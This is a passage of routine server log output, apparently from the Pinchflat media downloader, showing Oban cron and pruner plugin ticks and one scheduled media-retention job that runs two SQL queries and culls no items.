{"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:14.137 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:44.138 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.302 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:14.139 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:44.140 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.303 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:14.141 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:44.142 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.304 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:14.143 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:44.144 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.305 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:14.145 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:44.147 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.306 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:14.148 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:44.149 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.307 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:14.150 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:44.151 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.308 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:14.153 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:44.154 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.309 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:14.155 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:44.156 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.310 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:14.158 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:44.160 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.311 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:14.161 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:44.162 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.312 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:36:14.163 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:44.164 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.313 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:37:14.166 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:44.167 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.314 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:38:14.168 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:44.169 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.315 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:39:14.170 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:44.171 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.316 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:40:14.172 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:44.173 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.317 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:41:14.174 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:44.175 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.318 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:42:14.176 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:44.177 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.319 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:43:14.178 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:44.179 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.320 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:44:14.180 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:44.181 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.321 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:45:14.182 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:44.183 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.322 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:46:14.184 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:44.185 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.323 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:47:14.186 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:44.187 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.324 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:48:14.189 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:44.190 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.325 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:49:14.191 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:44.192 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.326 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:50:14.193 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:44.194 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.327 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:51:14.195 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:44.196 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.328 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:52:14.197 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:44.199 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.330 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:53:14.200 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:44.201 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.330 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:54:14.202 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:44.203 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.331 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:55:14.204 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:44.205 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.333 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:56:14.206 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:44.206 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.333 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:57:14.208 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:44.209 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.334 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:58:14.210 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:44.211 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.335 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:59:14.212 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:44.213 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.338 [info] {"source":"oban","duration":1431,"event":"plugin:stop","jobs":[1692],"plugin":"Oban.Plugins.Cron"} 21:00:00.344 [info] {"args":{},"id":1692,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1774746000344682478,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.355 [debug] QUERY OK source="media_items" db=10.6ms queue=0.2ms idle=301.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.356 [info] Culling 0 media items past their retention date 21:00:00.359 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=312.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.359 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.359 [info] {"args":{},"id":1692,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":14718,"event":"job:stop","queue_time":343576,"attempt":1,"tags":["media_item","local_data"]} 21:00:14.214 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:44.216 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.338 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:01:14.217 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:44.218 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.339 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:02:14.220 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:44.221 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.340 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:03:14.222 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:44.223 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.341 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:04:14.224 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:44.226 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.342 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:05:14.228 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:44.229 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.343 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:06:14.230 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:44.231 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.344 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:07:14.233 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:44.234 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.345 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:08:14.236 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:44.237 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.346 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:09:14.238 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:44.239 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.347 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:10:14.241 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:44.242 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.348 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:11:14.243 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:44.244 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.349 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:12:14.245 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:44.246 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.350 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:13:14.247 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:44.248 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.351 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:14:14.249 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:44.250 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.352 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:15:14.251 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:44.252 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.353 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:16:14.254 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:44.255 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.354 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:17:14.256 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:44.257 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.355 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:18:14.259 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:44.260 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.356 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:19:14.261 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:44.262 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.358 [info] {"source":"oban","duration":339,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:20:14.263 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:44.264 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.358 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:21:14.265 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:44.266 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.359 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:22:14.267 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:44.268 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.360 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:23:14.269 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:44.270 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.361 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:24:14.271 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:44.272 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.362 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:25:14.274 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:44.275 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.363 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:26:14.276 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:44.277 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.364 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:27:14.278 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:44.279 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.365 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:28:14.280 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:44.281 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.366 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:29:14.283 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:44.284 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.367 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:30:14.285 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:44.286 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.368 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:31:14.287 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:44.288 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.369 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:32:14.289 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:44.290 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.370 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:33:14.292 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:44.293 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.371 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:34:14.294 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:44.295 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.372 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:35:14.296 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:44.297 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.373 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:36:14.298 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:44.299 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.374 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:37:14.300 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:44.301 [info] 